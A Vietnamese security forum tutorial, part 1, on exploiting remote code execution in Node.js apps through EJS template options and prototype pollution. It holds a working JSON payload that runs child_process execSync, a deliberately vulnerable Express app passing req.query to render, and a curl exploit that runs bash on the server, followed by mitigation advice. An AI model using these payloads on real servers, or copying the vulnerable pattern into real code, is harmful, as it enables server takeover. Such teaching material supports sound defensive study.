Khai thác lỗ hổng Remote Code Execution (RCE) trong Nodejs (Phần 1)

tuantran

Moderator
Thành viên BQT
27/04/2017
29
76 bài viết
Khai thác lỗ hổng Remote Code Execution (RCE) trong Nodejs (Phần 1)
Tóm tắt:
Thời điểm hiện tại, Nodejs càng ngày càng thịnh hành ở Việt Nam. Hiện tại, các developer và hầu hết các web app đều sử dụng ngôn ngữ này, vì sự tiện lợi của nó là có thể dùng cho cả backend và front end.

1.jpg

Ngoài ra, trong quá trình pentest thì mình cũng nhận thấy đa số các web app đều gặp rất nhiều lỗ hổng. Đặc biệt, lổ hổng giúp cho attacker có thể chiếm được máy ảo. Vì thế nên mình gửi tới các bạn bài viết về lổ hổng này trên node và cách phòng chống.

Khi nào lổ hổng RCE xảy ra?

RCE xảy ra khi web/app thực thi không đáng tin cậy ở dạng mã code. Khi x là một chuỗi, eval (x), Function (x)vm.runIn * Context (x). Tất cả các hàm gọi x trên ngữ cảnh của javascript engine. Nếu kẻ tấn công kiểm soát x thì chúng có thể chạy mã tùy ý trong ngữ cảnh của module CommonJS hoặc ngữ cảnh vm đã gọi trình phân tích cú pháp, hoặc nó có thể đến từ những lổ hổng bảo mật liên quan.

Hiện tại, nếu các bạn tìm kiếm với từ khóa RCE nodejs thì nó sẽ xuất hiện các bài viết với các hàm phổ biến dẫn đến lổ hỗng như eval(), deserialize object mà không hề nhắc gì đến các hàm khác. Với mục đích, tạo ra nhận thức cho các nodejs developers nên ở bài viết này, mình sẽ demo 2 ví dụ:
  • Thay đổi hàm outputFunctionName dẫn đến RCE
  • Các tùy chọn cấu hình template engine được chuyển qua Express render API
DEMO1: Thay đổi hàm outputFunctionName để call có thể ảnh hưởng đến việc gọi của view engine, từ đó có thể dẫn dến RCE

Để phục vụ cho việc demo, mình đã sử dụng code demo dưới đây như là PoC.

https://github.com/thongtrungtran/ssti-ejs

Môi trường cần cài đặt:
  • Node (bất kì version nào)
  • Docker
  • Git
Chạy web demo trên máy.
  • Đầu tiên dùng git để clone source code về trên máy.
Mã:
git clone github_URL
  • Build docker image từ dockerfile
Mã:
dd ssti-ejs | docker build –t demo-app .
  • Sau do run docker file
Mã:
docker run demo-app

Sau khi build xong, server sẽ báo chạy trên cổng 8082

2.png

Từ trong code của lib ejs

3.png

Chúng ta có thể thông qua function outputFunctionName để có thể khai thác được thông qua Prototype pollution.

Bạn có thể tìm hiểu prototype pollution ở đây.

Sau đó thì build payload của mình bằng cách dùng child_process của nodejs, chức năng này là mặc định trong nodejs. Nếu như bạn là người mới và không hiểu xây dựng payload cho mình thì bạn có thể tham khảo thêm ở đây.

Payload:

Mã:
{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"whoami\"); //"}}}

Sau đó cho payload vào trong body data và run với curl như trong file. Ex.sh. chúng ta sẽ có kết quả là in ra tên user của máy chủ.

4.png

Hoặc dùng commented payload để chiếm quyền điều khiển của máy chủ.

Ngoài ra, thì các bạn có thể chạy trực tiếp file ex.sh để khai thác bằng cách:

Mã:
chmod +x ex.sh | ./ex.sh

DEMO2: Các tùy chọn cấu hình template engine được chuyển qua Express render API

Express JS cho phép các nhà phát triển sử dụng nhiều công cụ kết xuất mẫu, các công cụ này thay thế những thứ bên trong mẫu bằng cách kiểm tra một đối tượng mà ứng dụng đã cung cấp.
Ví dụ: đoạn mã sau hiển thị một mẫu có tên "chỉ mục" và chuyển một đối tượng có hai yếu tố, tiêu đề và thông báo.

Mã:
app.get('/', function (req, res) { res.render('index', { title: 'Hi All', message: 'Hello I am newbie' })})

Các template engine cần một cách để đặt các thông số cấu hình của chúng, chẳng hạn như đường dẫn đến thư mục mẫu, tên của template và các tham số dành riêng cho công cụ khác. Để thực hiện điều này, nhiều template engine đã chọn nhận các tùy chọn cấu hình của họ trực tiếp thông qua API render Express.

Việc chuyển các thông số cấu hình template engine thông qua Express render API có thể dẫn đến lỗ hổng nếu đối tượng bị người dùng kiểm soát. Các ứng dụng xuôi dòng thường chọn chuyển trực tiếp dữ liệu mẫu của chúng vào thông qua đối tượng req.query do người dùng điều khiển từ xa. Điều này dẫn đến tình huống mà remote attacker có thể tấn công ứng dụng thông qua các tùy chọn cấu hình template engine độc hại.

Dưới đây là đoạn code mẫu demo bug.

Mã:
const express = require('express')

const app = express()

const port = 3000

app.set('views', __dirname);

app.set('view engine','ejs');

app.use(express.urlencoded({ extended: false}));

app.get('/', (req, res) => {

res.render('index', req.query)

})

app.listen(port, () => { })

module.exports = app;

Attacker có thể tạo được file thông qua lỗ hổng với tên file là newbie.txt

Mã:
curl 'http://localhost:3000/?message=foo&settings\[view%20options\]\[outputFunctionName\]=x%3Bprocess.mainModule.require(%27child_process%27).exec(%27bash%20-c%20%22touch%20%2Ftmp%2newbie.txt%22%27)%3Bx'

Giảm thiểu và cách phòng chống
  • Không tin cậy bất kỳ thông tin từ người dùng nhập vào, mọi dữ liệu được nhập vào từ người dùng phải được validate kỹ lưỡng trước khi render. Validation nên được thực hiện ở front-end và backend.
  • Chạy chương trình của bạn trong container ví dụ như docker và tốt nhất là nên chạy docker dưới dạng non-root. Trường hợp này nếu như lổ hổng xảy ra thì tác hại sẽ được giảm thiểu nhất có thể.
Khuyến cáo: Bài trên đây chỉ mục đích học tập, nhận thức và ngăn chặn. Không khuyến khích để đi phá hoại server của người khác.

Happy hacking!!! :p
 
Chỉnh sửa lần cuối bởi người điều hành:
Thẻ
nodejs rce security awareness web security
Bên trên